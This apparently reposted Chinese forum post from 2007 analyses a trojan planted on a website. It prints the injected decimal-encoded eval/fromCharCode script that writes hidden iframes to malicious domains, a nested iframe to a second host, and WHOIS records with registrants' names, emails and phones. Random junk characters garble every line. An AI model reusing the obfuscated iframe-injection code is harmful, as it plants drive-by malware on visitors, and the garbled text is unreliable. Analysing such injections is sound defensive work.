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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, p =-~qBw  
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http://www.areway.cn/?p=175 )jh~jU?c@  
e\!Aoky  
:#D~j]pP  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: bCiyz+VyJn  
          *;U<b  
<script>t=’60,105,102,114,97,109,101, 4[)tO-v:Y  
32,115,114,99,61,104,116,116,112,58,47,47, 69`*u<{PC  
102,114,101,101,46,117,45,117,117,117,46,99, )"7z'ar  
110,47,101,114,114,111,114,46,104,116,109, d\25  
32,119,105,100,116,104,61,49,48,48,32,104, l(\F2_,2W  
101,105,103,104,116,61,48,62,60,47,105,102, ?-tNRIPW@p  
114,97,109,101,62′; _hMFmI=r[  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> +=sw&DH  
                                                                                                  [X*u`J  
<script>t=’60,105,102,114,97,109,101,32,115, 7m}fVLk  
114,99,61,104,116,116,112,58,47,47,102,114, }'K-1:  
101,101,46,117,45,117,117,117,46,99,110,47, ,sT5TS q  
101,114,114,111,114,46,104,116,109,32,119, Y~?Z'uR  
105,100,116,104,61,49,48,48,32,104,101,105, Z;njSw%:  
103,104,116,61,48,62,60,47,105,102,114,97, *,~L_)vWO  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); <(H<*Xf9  
document.write(t);</script> <j3|Mh_(I  
                                                                                                  eHR]qy 0_X  
<html xmlns=” A4rkwM  
http://www.w3.org/1999/xhtml u'T-}95 V  
“> gdq6jz  
<head> }_('3C,Ba  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> M+b?qw  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 7 D{%  
<title>首页 - 爱生活家庭网 B:Awy/XMi  
                                                                                                                                                    ^'fgQyj  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 A 6 `a  
转换字符串后的大概内容是(谁点击后果自付): Y?L>KiM$  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… {|B[[W\TN  
                                                                                                                                  O0 $V+fE  
查询玉米u-uuu.cn的详细信息: T\bpeky~  
Domain Name: u-uuu.cn 2'-84  
ROID: 20070901s10001s64972306-cn |sEuhP\A3  
Domain Status: ok F!p;]B  
Registrant Organization: 王雷 cDK)zD  
Registrant Name: 王雷 Vhr6bu]  
Administrative Email: czlovexs@126.com UcH#J &r  
Sponsoring Registrar: 北京万网志成科技有限公司 [ako8  
Name Server:ns.yovole.com wvxsn!Ao&=  
Name Server:ns1.yovole.com ;>S|?M4GZ  
Registration Date: 2007-09-01 17:54 Q7i(M >|O  
Expiration Date: 2008-09-01 17:54 ?7J::}R  
最后PING了一下地址 都没有什么…. ap2g^lQXq  
                                                                                                s+z5"3'n  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. \jmZ t*c  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> eN\+  
<script language=”javascript” src=” NEvNj  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script MSRk|0Mcr  
> i0zrXaKV  
这个玉米应该有可能是木马作者的: tU *`X(;  
foafau.info的详细信息: b=U3&CV9  
Access to INFO WHOIS information is provided to assist persons in p#_ 5w  
determining the contents of a domain name registration record in the *2rc Y  
Afilias registry database. The data in this record is provided by tGzp= PyA  
Afilias Limited for informational purposes only, and Afilias does not ayQeT  
guarantee its accuracy.  This service is intended only for query-based drk BW}_  
access. You agree that you will use this data only for lawful purposes Od:-fw  
and that, under no circumstances will you use this data to: (a) allow, ^P*-bV4  
enable, or otherwise support the transmission by e-mail, telephone, or ~>P(nI  
facsimile of mass unsolicited, commercial advertising or solicitations 6As%<g=  
to entities other than the data recipient’s own existing customers; or Dwr 9}Z-]  
(b) enable high volume, automated, electronic processes that send Bf6i{`!G  
queries or data to the systems of Registry Operator, a Registrar, or E+LQyvF[  
Afilias except as reasonably necessary to register domain names or cOZBl;}  
modify existing registrations. All rights reserved. Afilias reserves ael] {'h]  
the right to modify these terms at any time. By submitting this query, ZKq#PB/.  
you agree to abide by this policy. UEhFId  
Domain ID:D22418703-LRMS M{)&SNI*C  
Domain Name:FOAFAU.INFO j%Xa8$  
Created On:20-Nov-2007 16:05:42 UTC "a3?m)  
Last Updated On:20-Nov-2007 16:05:44 UTC H8=:LF  
Expiration Date:20-Nov-2008 16:05:42 UTC R/kJUl6HEl  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) /lh1sHgD  
Status:CLIENT DELETE PROHIBITED WtaOf_  
Status:CLIENT RENEW PROHIBITED `j!_tE`  
Status:CLIENT TRANSFER PROHIBITED y7%SHYC p[  
Status:CLIENT UPDATE PROHIBITED gVI`&W__,  
Status:TRANSFER PROHIBITED i5&,Bpfo-  
Registrant ID:GODA-040110615 uG +ZR: _  
Registrant Name:liu hong M&<qGV$A  
Registrant Organization: Px9 K  
Registrant Street1:beijing D$*o}*mb  
Registrant Street2: %g{)K)$,ui  
Registrant Street3: Pai8r%Zfu  
Registrant City:beijing y n_.  
Registrant State/Province: j>uu3ADd2  
Registrant Postal Code:100000 O:GAS [O`  
Registrant Country:CN >/lB%<$/  
Registrant Phone:+86.860108888777 *'-t_F';  
Registrant Phone Ext.: >,h{`  
Registrant FAX: #TO^x&3@  
Registrant FAX Ext.: .N@+Ms3  
Registrant Email:bbbshiji@163.com /y6f~F  
Admin ID:GODA-240110615 cza_LO(  
Admin Name:liu hong 2eA.04F  
Admin Organization: 3D1y^I  
Admin Street1:beijing D.|r [c  
Admin Street2: A*A/30o|R  
Admin Street3: 3vjOfr`  
Admin City:beijing xUCq%r_  
Admin State/Province: DdU w~n,  
Admin Postal Code:100000 :Fu7T1  
Admin Country:CN {$i>\)  
Admin Phone:+86.860108888777 [t$ r)vX  
Admin Phone Ext.: aM(#J7;  
Admin FAX: P=6d<no&<  
Admin FAX Ext.: G_ ,9h!e  
Admin Email:bbbshiji@163.com 6-0sBB9=u  
Billing ID:GODA-340110615 I,`;#Q)nx  
Billing Name:liu hong HtiIg a 7  
Billing Organization: eU,F YJt9  
Billing Street1:beijing K"&^/[vMB  
Billing Street2: c:&8B/  
Billing Street3: \7>*ULP  
Billing City:beijing S'kgpF"bm  
Billing State/Province: O`"~AY&  
Billing Postal Code:100000 +!E9$U>6%  
Billing Country:CN Zq<j}vVJ  
Billing Phone:+86.860108888777 RA[%8Rh)  
Billing Phone Ext.: |WEl5bNc3  
Billing FAX: X!mJUDzh]  
Billing FAX Ext.: u[Si=)`VPk  
Billing Email:bbbshiji@163.com `JpFqZ'58  
Tech ID:GODA-140110615 6vR6=@(`>  
Tech Name:liu hong }qhYHC  
Tech Organization: }!R*Q`m  
Tech Street1:beijing -2>s#/%  
Tech Street2: o 9/,@Ri\5  
Tech Street3: c5b }q@nH  
Tech City:beijing ,\cV,$  
Tech State/Province: i$Kx@,O8t  
Tech Postal Code:100000 / o I 4&W  
Tech Country:CN /3K)$Er  
Tech Phone:+86.860108888777 19c_=$mV  
Tech Phone Ext.: &qWB\m  
Tech FAX:  -gS9I^  
Tech FAX Ext.: *hJWuMfY,  
Tech Email:bbbshiji@163.com #ojuSS3  
Name Server:NS27.DOMAINCONTROL.COM ,aGIq. *v  
Name Server:NS28.DOMAINCONTROL.COM m'"H1~BW  
Name Server: l>`66~+s,`  
Name Server: }^$1<GT  
Name Server: Ry"4v_e9  
Name Server: #+V4<o  
Name Server: cL ~WDW/  
Name Server: a$Y{ut0t(  
Name Server: T *PEUq  
Name Server: dcD#!v\0  
Name Server: & rD8ng+$  
Name Server: D4|Ajeo;1  
Name Server: /4 OmnE;  
                                                                                                          "~._G5i.  
接着下载每个文件里面的代码: {i?G:K  
一步一步看.. ge.>#1f}  
KK2YT/K$SG  
!4=_l6kg~+  
^v'0\(H?P  
1'Q6l  
Rvx 7}ZL!  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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